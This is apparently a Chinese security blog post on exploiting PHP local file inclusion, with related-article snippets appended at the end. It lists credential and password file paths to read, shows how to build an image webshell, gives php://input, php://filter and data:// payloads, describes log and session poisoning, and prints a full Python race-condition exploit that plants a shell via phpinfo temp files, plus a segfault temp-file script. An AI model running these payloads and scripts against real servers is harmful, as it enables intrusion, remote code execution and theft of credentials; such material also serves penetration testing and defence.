文件包含利用思路

VSole2021-12-10 21:28:32

文件包含简介

    开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。

    为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

文件包含漏洞的环境要求

· 变量可控
· allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 (远程包含条件)
· allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件 (本地包含条件)

绕过有后缀限制的包含

①使用%00 截断:

使用条件:

为当前php版本小于5.3.4否则无法使用且还需要关闭魔术引号(magic_quotes_gpc=off)

②长度截断(利用垃圾字符填充):

Windows 长度最长为256

Linux  长度最长为4096

一、利用思路:

①包含一些敏感的配置文件;

②配合图片马

③配合php伪协议

④配合日志文件

⑤配合session文件

⑥利用临时文件

二、实现方法

1、包含一些敏感的配置文件;

Windows

# Windows系统的一个基本系统配置文件C:\Windows\win.ini
# 查看系统版本c:\boot.ini
# IIS配置文件c:\windows\system32\inetsrv\MetaBase.xml 
# 存储Windows系统初次安装的密码c:\windows\repair\sam 
# MySQL配置c:\ProgramFiles\mysql\my.ini 
# MySQL root密码c:\ProgramFiles\mysql\data\mysql\user.MYD 
# php 配置信息c:\windows\php.ini

Linux

# 账户信息/etc/passwd
# 账户密码文件/etc/shadow
# Apache2默认配置文件/usr/local/app/apache2/conf/httpd.conf
# 虚拟网站配置/usr/local/app/apache2/conf/extra/httpd-vhost.conf
# PHP 配置文件/usr/local/app/php5/lib/php.ini
# Apache 配置文件/etc/httpd/conf/httpd.conf
# MySQL 配置文件/etc/my.conf

2、配合图片马

文件包含能够配合图片马,是因为文件包含能使得任意文件都以后端脚本形式进行执行,如php的站就会将图片以php的方式执行一遍,这才有了图片马的配合从而getshell

php 为例

#写入一句话并保存为shell.php文件');?>

生成图片木马(Windows)命令

1.jpg为正常图片,shell.php为写入的一句话木马

copy 1.jpg/b+shell.php shell.jpg

将其上传至服务器再进行文件包含就能利用到了

访问文件是存在该图片

此时还是不存在shell.php文件

进行包含 再次验证


此时可以对比发现shell.php不再出现Not Fund错误了

进行执行phpinfo()

成功执行, 说明命令成功 已经可以getshell了

3、配合PHP伪协议

各协议的利用条件和用法

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

注:当enctype=”multipart/form-data”时,php://input是无效的,以及需要开启all_url_include才能使用。

http://192.168.8.10/include.php?filename=php://input
POST:

php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取

http://192.168.8.10/include.php?filename=php://filter/read=convert.base64-encode/resource=shell.php

data://

数据流封装器,以GET传递相应格式的数据。通常可以用来执行PHP代码。

1、data://text/plain,http://192.168.8.10/include.php?filename=data://text/plain,


2、data://text/plain;base64,http://192.168.8.10/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+


这里只简单列举了三种方法。

4、配合日志文件

利用条件:知道日志文件的存储路径,并且日志文件可读。

利用用户发起请求成功后服务器就会将其请求到的相应信息记录到access.log日志中, 从而配置利用日志文件包含, 不过要注意的是在写入一句话时, url会进行编码, 所以用burp抓包请求后再放出或者利用curl命令也行

可以通过猜测常见日志文件的路径进行读取, 或者利用phpinfo页面进行确定log位置(查找 server root 关键词)


进行包含

http://192.168.8.10/include.php?filename=C:\\phpStudy\\PHPTutorial\\Apache\\logs\\access.log

5、配合session文件

常见的php-session存放位置:

1./var/lib/php/sess_PHPSESSID

2./var/lib/php/sess_PHPSESSID

3./tmp/sess_PHPSESSID

4./tmp/sessions/sess_PHPSESSID

也可以利用phpinfo(session.save_path)读取到session文件所在

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到

要想利用就得要有请求登录, 这里可以借助phpmyadmin平台

6、利用临时文件

① 利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除

利用方法简述:

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

存在phpinfo页面


条件竞争EXP

#!/usr/bin/python import sysimport threadingimport socket
def setup(host, port):    TAG="Security Test"    PAYLOAD="""%s\r')?>\r""" % TAG    REQ1_DATA="""-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOAD    padding="A" * 5000    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """+padding+"""\rHTTP_ACCEPT_LANGUAGE: """+padding+"""\rHTTP_PRAGMA: """+padding+"""\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" %(len(REQ1_DATA),host,REQ1_DATA)    #modify this to suit the LFI script       LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r"""    return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
    s.connect((host, port))    s2.connect((host, port))
    s.send(phpinforeq)    d = ""    while len(d) < offset:        d += s.recv(offset)    try:        i = d.index("[tmp_name] => ")        fn = d[i+17:i+31]    except ValueError:        return None
    s2.send(lfireq % (fn, host))    d = s2.recv(4096)    s.close()    s2.close()
    if d.find(tag) != -1:        return fn
counter=0class ThreadWorker(threading.Thread):    def __init__(self, e, l, m, *args):        threading.Thread.__init__(self)        self.event = e        self.lock =  l        self.maxattempts = m        self.args = args
    def run(self):        global counter        while not self.event.is_set():            with self.lock:                if counter >= self.maxattempts:                    return                counter+=1
            try:                x = phpInfoLFI(*self.args)                if self.event.is_set():                    break                                if x:                    print "Got it! Shell created in /tmp/g"                    self.event.set()
            except socket.error:                return
def getOffset(host, port, phpinforeq):    """Gets offset of tmp_name in the php output"""    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((host,port))    s.send(phpinforeq)
    d = ""    while True:        i = s.recv(4096)        d+=i                if i == "":            break        # detect the final chunk        if i.endswith("0\r\r"):            break    s.close()    i = d.find("[tmp_name] => ")    if i == -1:        raise ValueError("No php tmp_name in phpinfo output")
    print "found %s at %i" % (d[i:i+10],i)    # padded up a bit    return i+256
def main():
    print "LFI With PHPInfo()"    print "-=" * 30
    if len(sys.argv) < 2:        print "Usage: %s host [port] [threads]" % sys.argv[0]        sys.exit(1)
    try:        host = socket.gethostbyname(sys.argv[1])    except socket.error, e:        print "Error with hostname %s: %s" % (sys.argv[1], e)        sys.exit(1)
    port=80    try:        port = int(sys.argv[2])    except IndexError:        pass    except ValueError, e:        print "Error with port %d: %s" % (sys.argv[2], e)        sys.exit(1)
    poolsz=10    try:        poolsz = int(sys.argv[3])    except IndexError:        pass    except ValueError, e:        print "Error with poolsz %d: %s" % (sys.argv[3], e)        sys.exit(1)
    print "Getting initial offset...",      reqphp, tag, reqlfi = setup(host, port)    offset = getOffset(host, port, reqphp)    sys.stdout.flush()
    maxattempts = 1000    e = threading.Event()    l = threading.Lock()
    print "Spawning worker pool (%d)..." % poolsz    sys.stdout.flush()
    tp = []    for i in range(0,poolsz):        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:        t.start()    try:        while not e.wait(1):            if e.is_set():                break            with l:                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))                sys.stdout.flush()                if counter >= maxattempts:                    break        print        if e.is_set():            print "Woot!  \m/"        else:            print ":("    except KeyboardInterrupt:        print "Telling threads to shutdown..."        e.set()
    print "Shuttin' down..."    for t in tp:        t.join()
if __name__=="__main__":    main()

创建成功在/tmp/g文件

通过请求尝试执行phpinfo()

②PHP版本<7.2,利用php崩溃留下临时文件

php7 segment fault特性

段错误(segment fault)就是指访问的内存超过了系统所给这个程序的内存空间。从而发生程序退出。缓存文件就留在了tmp目录

  向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

php < 7.2

Linux:php://filter/string.strip_tags/resource=/etc/passwd
Windowsphp://filter/string.strip_tags/resource=C:/Windows/win.ini

php7 老版本通杀

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

PY代码如下:

import requestsfrom io import BytesIOimport re
payload = ""file_data = {    'file': BytesIO(payload.encode())}url = "http://127.0.0.1/include.php?"\      +"filename=php://filter/string.strip_tags/resource=C:/Windows/win.ini"r = requests.post(url=url, files=file_data, allow_redirects=False)

成功利用上包含了该临时文件

php临时文件
本作品采用《CC 协议》,转载必须注明作者和本文链接
审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。
1. 文件包含漏洞概念通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入
文件包含利用思路
2021-12-10 21:28:32
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。????为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
测试链接是否能够访问 判断操作系统版本 传递一个数组,尝试爆绝对路径 指定上传路径
之前有看到goby反制和松鼠A师傅蚁剑反制的文章,再想到之前写过sqlmap的shell免杀,觉得思路其实差不多,就写一篇sqlmap的反制吧。
刚过完年的时候在XXX社区看到了这篇文章《记一次渗透实战-代码审计到getshell》 通过搜索发现对应的是 冰心网络验证 http://wlyz.bingxs.com/ 于是尝试在本地进行安装进行审计 下载安装包 https://teorun.lanzout.com/izfhn 下载安装后,我们看到如果利用 phpstudy 设定域名,或者非 127.0.0.1 的 ip 地址时
最近由于笔者所在的研发集团产品需要,需要支持高性能的大文件(大都数是4GB以上)的http上传,并且要求支持http断点续传。笔者在以前的博客如何实现支持大文件的高性能HTTP文件上传服务器已经介绍了实现大文件上传的一些基本概念,其实非常简单,这里在简要归纳一下,方便记忆:
从偶遇Flarum开始的RCE之旅
前言:__autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。
蓝队初级防护总结
2023-01-09 10:11:55
三. 网站被上传webshell如何处理?工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。堡垒机是针对内部运维人员的运维安全审计系统。WAFWAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。
VSole
网络安全专家